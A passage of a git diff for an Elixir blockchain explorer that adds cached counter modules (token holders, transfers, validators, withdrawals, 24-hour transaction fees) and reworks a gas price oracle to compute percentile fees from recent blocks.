Explorer.Chain.MapCache, + name: :locked_rsk, + key: :locked_value, + global_ttl: Application.get_env(:explorer, __MODULE__)[:global_ttl], + ttl_check_interval: :timer.seconds(1) + + defp handle_fallback(:locked_value) do + rootstock_bridge_address_str = Application.get_env(:explorer, Explorer.Chain.Transaction)[:rootstock_bridge_address] + rootstock_locking_cap = Application.get_env(:explorer, __MODULE__)[:locking_cap] |> Decimal.new() + + with {:ok, rootstock_bridge_address_hash} <- Chain.string_to_address_hash(rootstock_bridge_address_str), + {:ok, %Address{fetched_coin_balance: balance}} when not is_nil(balance) <- + Chain.hash_to_address(rootstock_bridge_address_hash) do + {:update, rootstock_locking_cap |> Wei.from(:ether) |> Wei.sub(balance)} + else + _ -> + {:return, nil} + end + end + + defp handle_fallback(_key), do: {:return, nil} +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/shibarium/deposits_and_withdrawals_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/shibarium/deposits_and_withdrawals_count.ex new file mode 100644 index 000000000000..6bcb441e8a34 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/shibarium/deposits_and_withdrawals_count.ex @@ -0,0 +1,58 @@ +defmodule Explorer.Chain.Cache.Counters.Shibarium.DepositsAndWithdrawalsCount do + @moduledoc """ + Caches the number of deposits and withdrawals for Shibarium Bridge. + """ + + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + + @deposits_counter_type "shibarium_deposits_counter" + @withdrawals_counter_type "shibarium_withdrawals_counter" + + @doc """ + Fetches the cached deposits count from the `last_fetched_counters` table. + """ + def deposits_count(options \\ []) do + LastFetchedCounter.get(@deposits_counter_type, options) + end + + @doc """ + Fetches the cached withdrawals count from the `last_fetched_counters` table. + """ + def withdrawals_count(options \\ []) do + LastFetchedCounter.get(@withdrawals_counter_type, options) + end + + @doc """ + Stores or increments the current deposits count in the `last_fetched_counters` table. + """ + def deposits_count_save(count, just_increment \\ false) do + if just_increment do + LastFetchedCounter.increment( + @deposits_counter_type, + count + ) + else + LastFetchedCounter.upsert(%{ + counter_type: @deposits_counter_type, + value: count + }) + end + end + + @doc """ + Stores or increments the current withdrawals count in the `last_fetched_counters` table. + """ + def withdrawals_count_save(count, just_increment \\ false) do + if just_increment do + LastFetchedCounter.increment( + @withdrawals_counter_type, + count + ) + else + LastFetchedCounter.upsert(%{ + counter_type: @withdrawals_counter_type, + value: count + }) + end + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/stability/validators_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/stability/validators_count.ex new file mode 100644 index 000000000000..ea9b43a464e6 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/stability/validators_count.ex @@ -0,0 +1,103 @@ +defmodule Explorer.Chain.Cache.Counters.Stability.ValidatorsCount do + @moduledoc """ + Counts and store counters of validators stability. + + It loads the count asynchronously and in a time interval of 30 minutes. + """ + + use GenServer + # It is undesirable to automatically start the consolidation in all environments. + # Consider the test environment: if the consolidation initiates but does not + # finish before a test ends, that test will fail. This way, hundreds of + # tests were failing before disabling the consolidation and the scheduler in + # the test env. + use Utils.CompileTimeEnvHelper, + enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]], + update_interval_in_milliseconds: [:explorer, [__MODULE__, :update_interval_in_milliseconds]] + + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.Stability.Validator, as: ValidatorStability + + @validators_counter_key "stability_validators_counter" + @new_validators_counter_key "new_stability_validators_counter" + @active_validators_counter_key "active_stability_validators_counter" + + @doc """ + Starts a process to periodically update validators stability counters + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, [], name: __MODULE__) + end + + @impl true + def init(_args) do + {:ok, %{consolidate?: @enable_consolidation}, {:continue, :ok}} + end + + defp schedule_next_consolidation do + Process.send_after(self(), :consolidate, @update_interval_in_milliseconds) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches values for a stability validators counters from the `last_fetched_counters` table. + """ + @spec get_counters(Keyword.t()) :: map() + def get_counters(options) do + %{ + validators_counter: LastFetchedCounter.get(@validators_counter_key, options), + new_validators_counter: LastFetchedCounter.get(@new_validators_counter_key, options), + active_validators_counter: LastFetchedCounter.get(@active_validators_counter_key, options) + } + end + + @doc """ + Consolidates the info by populating the `last_fetched_counters` table with the current database information. + """ + @spec consolidate() :: any() + def consolidate do + tasks = [ + Task.async(fn -> ValidatorStability.count_validators() end), + Task.async(fn -> ValidatorStability.count_new_validators() end), + Task.async(fn -> ValidatorStability.count_active_validators() end) + ] + + [validators_counter, new_validators_counter, active_validators_counter] = Task.await_many(tasks, :infinity) + + LastFetchedCounter.upsert(%{ + counter_type: @validators_counter_key, + value: validators_counter + }) + + LastFetchedCounter.upsert(%{ + counter_type: @new_validators_counter_key, + value: new_validators_counter + }) + + LastFetchedCounter.upsert(%{ + counter_type: @active_validators_counter_key, + value: active_validators_counter + }) + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/token_holders_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/token_holders_count.ex new file mode 100644 index 000000000000..188d0fe152f5 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/token_holders_count.ex @@ -0,0 +1,96 @@ +defmodule Explorer.Chain.Cache.Counters.TokenHoldersCount do + @moduledoc """ + Caches Token holders count. + """ + use GenServer + use Utils.CompileTimeEnvHelper, enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]] + + alias Explorer.Chain.Address.CurrentTokenBalance + alias Explorer.Chain.Cache.Counters.Helper + alias Explorer.Chain.Token + + @api_true [api?: true] + @cache_name :token_holders_count + @ets_last_update_key "last_update" + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + Helper.create_cache_table(@cache_name) + + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + {:noreply, state} + end + + def fetch(address_hash) do + if cache_expired?(address_hash) do + update_cache(address_hash) + end + + fetch_count_from_cache(address_hash) + end + + def cache_name, do: @cache_name + + defp cache_expired?(address_hash) do + cache_period = Application.get_env(:explorer, __MODULE__)[:cache_period] + updated_at = fetch_updated_at_from_cache(address_hash, @cache_name) + + cond do + is_nil(updated_at) -> true + Helper.current_time() - updated_at > cache_period -> true + true -> false + end + end + + defp update_cache(address_hash) do + address_hash_string = to_string(address_hash) + new_data = CurrentTokenBalance.count_token_holders_from_token_hash(address_hash) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}", new_data) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}_#{@ets_last_update_key}", Helper.current_time()) + put_into_db_cache(address_hash, new_data) + end + + defp fetch_count_from_cache(address_hash) do + address_hash_string = to_string(address_hash) + key = "hash_#{address_hash_string}" + + Helper.fetch_from_ets_cache(@cache_name, key) || fetch_from_db_cache(address_hash) + end + + defp fetch_updated_at_from_cache(address_hash, cache_name) do + address_hash_string = to_string(address_hash) + key = "hash_#{address_hash_string}_#{@ets_last_update_key}" + + Helper.fetch_from_ets_cache(cache_name, key) + end + + defp fetch_from_db_cache(address_hash) do + token = Token.get_by_contract_address_hash(address_hash, @api_true) + (token && token.holder_count) || 0 + end + + defp put_into_db_cache(address_hash, count) do + Token.update_token_holder_count(address_hash, count) + end + + defp enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/token_transfers_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/token_transfers_count.ex new file mode 100644 index 000000000000..01de27ceba46 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/token_transfers_count.ex @@ -0,0 +1,96 @@ +defmodule Explorer.Chain.Cache.Counters.TokenTransfersCount do + @moduledoc """ + Caches Token transfers counter. + """ + use GenServer + use Utils.CompileTimeEnvHelper, enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]] + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.Helper + alias Explorer.Chain.Token + + @api_true [api?: true] + @cache_name :token_transfers_counter + @ets_last_update_key "last_update" + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + Helper.create_cache_table(@cache_name) + + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + {:noreply, state} + end + + def fetch(address_hash) do + if cache_expired?(address_hash) do + update_cache(address_hash) + end + + fetch_count_from_cache(address_hash) + end + + def cache_name, do: @cache_name + + defp cache_expired?(address_hash) do + cache_period = Application.get_env(:explorer, __MODULE__)[:cache_period] + updated_at = fetch_updated_at_from_cache(address_hash, @cache_name) + + cond do + is_nil(updated_at) -> true + Helper.current_time() - updated_at > cache_period -> true + true -> false + end + end + + defp update_cache(address_hash) do + address_hash_string = to_string(address_hash) + new_data = Chain.count_token_transfers_from_token_hash(address_hash) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}", new_data) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}_#{@ets_last_update_key}", Helper.current_time()) + put_into_db_cache(address_hash, new_data) + end + + defp fetch_count_from_cache(address_hash) do + address_hash_string = to_string(address_hash) + key = "hash_#{address_hash_string}" + + Helper.fetch_from_ets_cache(@cache_name, key) || fetch_from_db_cache(address_hash) + end + + defp fetch_updated_at_from_cache(address_hash, cache_name) do + address_hash_string = to_string(address_hash) + key = "hash_#{address_hash_string}_#{@ets_last_update_key}" + + Helper.fetch_from_ets_cache(cache_name, key) + end + + defp fetch_from_db_cache(address_hash) do + token = Token.get_by_contract_address_hash(address_hash, @api_true) + (token && token.transfer_count) || 0 + end + + defp put_into_db_cache(address_hash, count) do + Token.update_token_transfer_count(address_hash, count) + end + + defp enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/transactions_24h_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/transactions_24h_count.ex new file mode 100644 index 000000000000..3c137f7f9d68 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/transactions_24h_count.ex @@ -0,0 +1,155 @@ +defmodule Explorer.Chain.Cache.Counters.Transactions24hCount do + @moduledoc """ + Caches number of transactions for last 24 hours, sum of transaction fees for last 24 hours and average transaction fee for last 24 hours counters. + + It loads the counters asynchronously and in a time interval of :cache_period (default to 1 hour). + """ + + use GenServer + + import Ecto.Query + + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.{DenormalizationHelper, Transaction} + alias Explorer.Repo + + @transaction_count_name "transaction_count_24h" + @transaction_fee_sum_name "transaction_fee_sum_24h" + @transaction_fee_average_name "transaction_fee_average_24h" + + @doc """ + Starts a process to periodically update the counters. + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + defp schedule_next_consolidation do + Process.send_after(self(), :consolidate, cache_interval()) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches the value for a `#{@transaction_count_name}` counter type from the `last_fetched_counters` table. + """ + def fetch_count(options) do + LastFetchedCounter.get(@transaction_count_name, options) + end + + @doc """ + Fetches the value for a `#{@transaction_fee_sum_name}` counter type from the `last_fetched_counters` table. + """ + def fetch_fee_sum(options) do + LastFetchedCounter.get(@transaction_fee_sum_name, options) + end + + @doc """ + Fetches the value for a `#{@transaction_fee_average_name}` counter type from the `last_fetched_counters` table. + """ + def fetch_fee_average(options) do + LastFetchedCounter.get(@transaction_fee_average_name, options) + end + + @doc """ + Consolidates the info by populating the `last_fetched_counters` table with the current database information. + """ + def consolidate do + fee_query = + dynamic( + [transaction, block], + fragment( + "COALESCE(?, ? + LEAST(?, ?))", + transaction.gas_price, + block.base_fee_per_gas, + transaction.max_priority_fee_per_gas, + transaction.max_fee_per_gas - block.base_fee_per_gas + ) * transaction.gas_used + ) + + sum_query = dynamic([_, _], sum(^fee_query)) + avg_query = dynamic([_, _], avg(^fee_query)) + + base_query = + from(transaction in Transaction, + join: block in assoc(transaction, :block), + select: %{count: count(transaction.hash)}, + select_merge: ^%{fee_sum: sum_query}, + select_merge: ^%{fee_average: avg_query} + ) + + query = + base_query + |> where_block_timestamp_in_last_24_hours() + + %{ + count: count, + fee_sum: fee_sum, + fee_average: fee_average + } = Repo.one!(query, timeout: :infinity) + + LastFetchedCounter.upsert(%{ + counter_type: @transaction_count_name, + value: count + }) + + LastFetchedCounter.upsert(%{ + counter_type: @transaction_fee_sum_name, + value: fee_sum + }) + + LastFetchedCounter.upsert(%{ + counter_type: @transaction_fee_average_name, + value: fee_average + }) + end + + defp where_block_timestamp_in_last_24_hours(query) do + if DenormalizationHelper.transactions_denormalization_finished?() do + where(query, [transaction, _block], transaction.block_timestamp >= ago(24, "hour")) + else + where(query, [_transaction, block], block.timestamp >= ago(24, "hour")) + end + end + + @doc """ + Returns a boolean that indicates whether consolidation is enabled + + In order to choose whether or not to enable the scheduler and the initial + consolidation, change the following Explorer config: + + `config :explorer, #{__MODULE__}, enable_consolidation: true` + + to: + + `config :explorer, #{__MODULE__}, enable_consolidation: false` + """ + def enable_consolidation?, do: Application.get_env(:explorer, __MODULE__)[:enable_consolidation] + + defp cache_interval, do: Application.get_env(:explorer, __MODULE__)[:cache_period] +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/transactions_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/transactions_count.ex new file mode 100644 index 000000000000..4f1038d7c9e6 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/transactions_count.ex @@ -0,0 +1,79 @@ +defmodule Explorer.Chain.Cache.Counters.TransactionsCount do + @moduledoc """ + Cache for total transactions count. + """ + + use Explorer.Chain.MapCache, + name: :transaction_count, + key: :count, + key: :async_task, + global_ttl: :infinity, + ttl_check_interval: :timer.seconds(1), + callback: &async_task_on_deletion(&1) + + require Logger + + alias Explorer.Chain.Cache.Counters.Helper, as: CacheCountersHelper + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.Transaction + alias Explorer.Repo + + @cache_key "transactions_count" + + @doc """ + Gets count of `t:Explorer.Chain.Transaction.t/0`. + + Gets count of both collated and pending transactions using the transactions table statistics. + """ + @spec get() :: non_neg_integer() + def get do + cached_value_from_ets = __MODULE__.get_count() + + CacheCountersHelper.evaluate_count(@cache_key, cached_value_from_ets, :estimated_transactions_count) + end + + defp handle_fallback(:count) do + # This will get the task PID if one exists, check if it's running and launch + # a new task if task doesn't exist or it's not running. + # See next `handle_fallback` definition + safe_get_async_task() + + {:return, nil} + end + + defp handle_fallback(:async_task) do + # If this gets called it means an async task was requested, but none exists + # so a new one needs to be launched + {:ok, task} = + Task.start_link(fn -> + try do + result = Repo.aggregate(Transaction, :count, :hash, timeout: :infinity) + + params = %{ + counter_type: @cache_key, + value: result + } + + LastFetchedCounter.upsert(params) + + set_count(%ConCache.Item{ttl: CacheCountersHelper.ttl(__MODULE__, "CACHE_TXS_COUNT_PERIOD"), value: result}) + rescue + e -> + Logger.debug([ + "Couldn't update transaction count: ", + Exception.format(:error, e, __STACKTRACE__) + ]) + end + + set_async_task(nil) + end) + + {:update, task} + end + + # By setting this as a `callback` an async task will be started each time the + # `count` expires (unless there is one already running) + defp async_task_on_deletion({:delete, _, :count}), do: safe_get_async_task() + + defp async_task_on_deletion(_data), do: nil +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/verified_contracts_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/verified_contracts_count.ex new file mode 100644 index 000000000000..0989d21286fe --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/verified_contracts_count.ex @@ -0,0 +1,95 @@ +defmodule Explorer.Chain.Cache.Counters.VerifiedContractsCount do + @moduledoc """ + Caches the number of verified contracts. + + It loads the count asynchronously and in a time interval of 30 minutes. + """ + + use GenServer + # It is undesirable to automatically start the consolidation in all environments. + # Consider the test environment: if the consolidation initiates but does not + # finish before a test ends, that test will fail. This way, hundreds of + # tests were failing before disabling the consolidation and the scheduler in + # the test env. + use Utils.CompileTimeEnvHelper, + enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]], + update_interval_in_milliseconds: [:explorer, [__MODULE__, :update_interval_in_milliseconds]] + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + + @counter_type "verified_contracts_count" + + @doc """ + Starts a process to periodically update the counter of verified contracts. + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + defp schedule_next_consolidation do + Process.send_after(self(), :consolidate, @update_interval_in_milliseconds) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches the value for a `#{@counter_type}` counter type from the `last_fetched_counters` table. + """ + def fetch(options) do + LastFetchedCounter.get(@counter_type, options) + end + + @doc """ + Consolidates the info by populating the `last_fetched_counters` table with the current database information. + """ + def consolidate do + verified_counter = Chain.count_verified_contracts() + + params = %{ + counter_type: @counter_type, + value: verified_counter + } + + LastFetchedCounter.upsert(params) + end + + @doc """ + Returns a boolean that indicates whether consolidation is enabled + + In order to choose whether or not to enable the scheduler and the initial + consolidation, change the following Explorer config: + + `config :explorer, Explorer.Chain.Cache.Counters.VerifiedContractsCount, enable_consolidation: true` + + to: + + `config :explorer, Explorer.Chain.Cache.Counters.VerifiedContractsCount, enable_consolidation: false` + """ + def enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/withdrawals_sum.ex b/apps/explorer/lib/explorer/chain/cache/counters/withdrawals_sum.ex new file mode 100644 index 000000000000..d3d3443e26ee --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/withdrawals_sum.ex @@ -0,0 +1,92 @@ +defmodule Explorer.Chain.Cache.Counters.WithdrawalsSum do + @moduledoc """ + Caches the sum of all withdrawals. + + It loads the sum asynchronously and in a time interval of 30 minutes. + """ + + use GenServer + + use Utils.CompileTimeEnvHelper, + enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]], + update_interval_in_milliseconds: [:explorer, [__MODULE__, :update_interval_in_milliseconds]] + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.Wei + + @counter_type "withdrawals_sum" + + @doc """ + Starts a process to periodically update the sum of withdrawals. + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + defp schedule_next_consolidation do + Process.send_after(self(), :consolidate, @update_interval_in_milliseconds) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches the value for a `#{@counter_type}` counter type from the `last_fetched_counters` table. + """ + def fetch(options) do + LastFetchedCounter.get(@counter_type, options) + end + + @doc """ + Consolidates the info by populating the `last_fetched_counters` table with the current database information. + """ + def consolidate do + withdrawals_sum = Chain.sum_withdrawals() + + params = %{ + counter_type: @counter_type, + value: (withdrawals_sum && Wei.to(withdrawals_sum, :wei)) || 0 + } + + LastFetchedCounter.upsert(params) + end + + @doc """ + Returns a boolean that indicates whether consolidation is enabled + + In order to choose whether or not to enable the scheduler and the initial + consolidation, change the following Explorer config: + + `config :explorer, #{__MODULE__}, enable_consolidation: true` + + to: + + `config :explorer, #{__MODULE__}, enable_consolidation: false` + """ + def enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/gas_price_oracle.ex b/apps/explorer/lib/explorer/chain/cache/gas_price_oracle.ex index 7ff2692c4d0b..28a1f3105d4c 100644 --- a/apps/explorer/lib/explorer/chain/cache/gas_price_oracle.ex +++ b/apps/explorer/lib/explorer/chain/cache/gas_price_oracle.ex @@ -7,105 +7,376 @@ defmodule Explorer.Chain.Cache.GasPriceOracle do import Ecto.Query, only: [ - from: 2 + from: 2, + where: 3 ] - alias Explorer.Chain.{ - Block, - Wei - } + alias Explorer.Chain.{Block, Wei} - alias Explorer.Repo - - @default_cache_period :timer.seconds(30) - - @num_of_blocks (case Integer.parse(System.get_env("GAS_PRICE_ORACLE_NUM_OF_BLOCKS", "200")) do - {integer, ""} -> integer - _ -> 200 - end) - - @safelow (case Integer.parse(System.get_env("GAS_PRICE_ORACLE_SAFELOW_PERCENTILE", "35")) do - {integer, ""} -> integer - _ -> 35 - end) - - @average (case Integer.parse(System.get_env("GAS_PRICE_ORACLE_AVERAGE_PERCENTILE", "60")) do - {integer, ""} -> integer - _ -> 60 - end) - - @fast (case Integer.parse(System.get_env("GAS_PRICE_ORACLE_FAST_PERCENTILE", "90")) do - {integer, ""} -> integer - _ -> 90 - end) + alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Explorer.{Market, Repo} + alias Timex.Duration use Explorer.Chain.MapCache, name: :gas_price, key: :gas_prices, + key: :gas_prices_acc, + key: :updated_at, + key: :old_gas_prices, + key: :old_updated_at, key: :async_task, - global_ttl: cache_period(), - ttl_check_interval: :timer.minutes(5), + global_ttl: :infinity, + ttl_check_interval: :timer.seconds(1), callback: &async_task_on_deletion(&1) + @doc """ + Calculates how much time left till the next gas prices updated taking into account estimated query running time. + """ + @spec update_in :: non_neg_integer() + def update_in do + case {get_old_updated_at(), get_updated_at()} do + {%DateTime{} = old_updated_at, %DateTime{} = updated_at} -> + time_to_update = DateTime.diff(updated_at, old_updated_at, :millisecond) + 500 + time_since_last_update = DateTime.diff(DateTime.utc_now(), updated_at, :millisecond) + next_update_in = time_to_update - time_since_last_update + if next_update_in <= 0, do: global_ttl(), else: next_update_in + + _ -> + global_ttl() + :timer.seconds(2) + end + end + + @doc """ + Calculates the `slow`, `average`, and `fast` gas price and time percentiles from the last `num_of_blocks` blocks and estimates the fiat price for each percentile. + These percentiles correspond to the likelihood of a transaction being picked up by miners depending on the fee offered. + """ + @spec get_average_gas_price(pos_integer(), pos_integer(), pos_integer(), pos_integer()) :: + {{:error, any} | {:ok, %{slow: gas_price, average: gas_price, fast: gas_price}}, + [ + %{ + block_number: non_neg_integer(), + slow_gas_price: nil | Decimal.t(), + fast_gas_price: nil | Decimal.t(), + average_gas_price: nil | Decimal.t(), + slow_priority_fee_per_gas: nil | Decimal.t(), + average_priority_fee_per_gas: nil | Decimal.t(), + fast_priority_fee_per_gas: nil | Decimal.t(), + slow_time: nil | Decimal.t(), + average_time: nil | Decimal.t(), + fast_time: nil | Decimal.t() + } + ]} + when gas_price: + nil + | %{ + base_fee: Decimal.t() | nil, + priority_fee: Decimal.t() | nil, + price: float(), + time: float(), + fiat_price: Decimal.t() + } def get_average_gas_price(num_of_blocks, safelow_percentile, average_percentile, fast_percentile) do - lates_gas_price_query = + safelow_percentile_fraction = safelow_percentile / 100 + average_percentile_fraction = average_percentile / 100 + fast_percentile_fraction = fast_percentile / 100 + + acc = get_gas_prices_acc() + + from_block_actual = BlockNumber.get_max() - num_of_blocks + + from_block_acc = + case acc do + [%{block_number: from_block} | _] -> from_block + _ -> -1 + end + + from_block_query = max(from_block_acc, from_block_actual) + + average_block_time = get_average_block_time() + + fee_query = from( block in Block, left_join: transaction in assoc(block, :transactions), + as: :transaction, where: block.consensus == true, - where: transaction.status == ^1, - where: transaction.gas_price > ^0, - group_by: block.number, - order_by: [desc: block.number], - select: min(transaction.gas_price), - limit: ^num_of_blocks + where: is_nil(transaction.gas_price) or transaction.gas_price > ^0, + where: transaction.block_number > ^from_block_query, + group_by: transaction.block_number, + order_by: [desc: transaction.block_number], + select: %{ + block_number: transaction.block_number, + slow_gas_price: + fragment( + "percentile_disc(? :: real) within group ( order by ? )", + ^safelow_percentile_fraction, + transaction.gas_price + ), + average_gas_price: + fragment( + "percentile_disc(? :: real) within group ( order by ? )", + ^average_percentile_fraction, + transaction.gas_price + ), + fast_gas_price: + fragment( + "percentile_disc(? :: real) within group ( order by ? )", + ^fast_percentile_fraction, + transaction.gas_price + ), + slow_priority_fee_per_gas: + fragment( + "percentile_disc(? :: real) within group ( order by least(?, ?) )", + ^safelow_percentile_fraction, + transaction.max_priority_fee_per_gas, + transaction.max_fee_per_gas - block.base_fee_per_gas + ), + average_priority_fee_per_gas: + fragment( + "percentile_disc(? :: real) within group ( order by least(?, ?) )", + ^average_percentile_fraction, + transaction.max_priority_fee_per_gas, + transaction.max_fee_per_gas - block.base_fee_per_gas + ), + fast_priority_fee_per_gas: + fragment( + "percentile_disc(? :: real) within group ( order by least(?, ?) )", + ^fast_percentile_fraction, + transaction.max_priority_fee_per_gas, + transaction.max_fee_per_gas - block.base_fee_per_gas + ), + slow_time: + fragment( + "percentile_disc(? :: real) within group ( order by coalesce(extract(milliseconds from (?)::interval), ?) desc )", + ^safelow_percentile_fraction, + block.timestamp - transaction.earliest_processing_start, + ^(average_block_time && average_block_time * safelow_time_coefficient()) + ), + average_time: + fragment( + "percentile_disc(? :: real) within group ( order by coalesce(extract(milliseconds from (?)::interval), ?) desc )", + ^average_percentile_fraction, + block.timestamp - transaction.earliest_processing_start, + ^(average_block_time && average_block_time * average_time_coefficient()) + ), + fast_time: + fragment( + "percentile_disc(? :: real) within group ( order by coalesce(extract(milliseconds from (?)::interval), ?) desc )", + ^fast_percentile_fraction, + block.timestamp - transaction.earliest_processing_start, + ^(average_block_time && average_block_time * fast_time_coefficient()) + ) + } ) - latest_gas_prices = - lates_gas_price_query + new_acc = + fee_query + |> filter_unknown_transaction_types(Application.get_env(:explorer, :chain_type)) |> Repo.all(timeout: :infinity) + |> merge_gas_prices(acc, from_block_actual) + + gas_prices = new_acc |> process_fee_data_from_db() - latest_ordered_gas_prices = - latest_gas_prices - |> Enum.map(fn %Wei{value: gas_price} -> Decimal.to_integer(gas_price) end) + {{:ok, gas_prices}, new_acc} + catch + error -> + Logger.error("Failed to get gas prices: #{inspect(error)}") + {{:error, error}, get_gas_prices_acc()} + end + + defp filter_unknown_transaction_types(query, :celo) do + query |> where([transaction: t], is_nil(t.type) or t.type != 123) + end + + defp filter_unknown_transaction_types(query, _chain_type) do + query + end + + defp merge_gas_prices(new, acc, from_block), do: Enum.take_while(new ++ acc, &(&1.block_number > from_block)) + + defp process_fee_data_from_db([]) do + case Block.next_block_base_fee_per_gas() do + %Decimal{} = base_fee -> + base_fee_wei = base_fee |> Wei.from(:wei) + exchange_rate = Market.get_coin_exchange_rate() + average_block_time = get_average_block_time() + + gas_prices = compose_gas_price(base_fee_wei, average_block_time, exchange_rate, base_fee_wei, 0) + + %{ + slow: gas_prices, + average: gas_prices, + fast: gas_prices + } + + _ -> + %{ + slow: nil, + average: nil, + fast: nil + } + end + end + + defp process_fee_data_from_db(fees) do + %{ + slow_gas_price: slow_gas_price, + average_gas_price: average_gas_price, + fast_gas_price: fast_gas_price, + slow_priority_fee_per_gas: slow_priority_fee_per_gas, + average_priority_fee_per_gas: average_priority_fee_per_gas, + fast_priority_fee_per_gas: fast_priority_fee_per_gas, + slow_time: slow_time, + average_time: average_time, + fast_time: fast_time + } = merge_fees(fees) + + {slow_fee, average_fee, fast_fee, base_fee_wei} = + case nil not in [slow_priority_fee_per_gas, average_priority_fee_per_gas, fast_priority_fee_per_gas] && + Block.next_block_base_fee_per_gas() do + %Decimal{} = base_fee -> + base_fee_wei = base_fee |> Wei.from(:wei) + + { + priority_with_base_fee(slow_priority_fee_per_gas, base_fee_wei), + priority_with_base_fee(average_priority_fee_per_gas, base_fee_wei), + priority_with_base_fee(fast_priority_fee_per_gas, base_fee_wei), + base_fee_wei + } + + _ -> + {gas_price(slow_gas_price), gas_price(average_gas_price), gas_price(fast_gas_price), nil} + end - safelow_gas_price = gas_price_percentile_to_gwei(latest_ordered_gas_prices, safelow_percentile) - average_gas_price = gas_price_percentile_to_gwei(latest_ordered_gas_prices, average_percentile) - fast_gas_price = gas_price_percentile_to_gwei(latest_ordered_gas_prices, fast_percentile) + exchange_rate = Market.get_coin_exchange_rate() - gas_prices = %{ - "slow" => safelow_gas_price, - "average" => average_gas_price, - "fast" => fast_gas_price + %{ + slow: 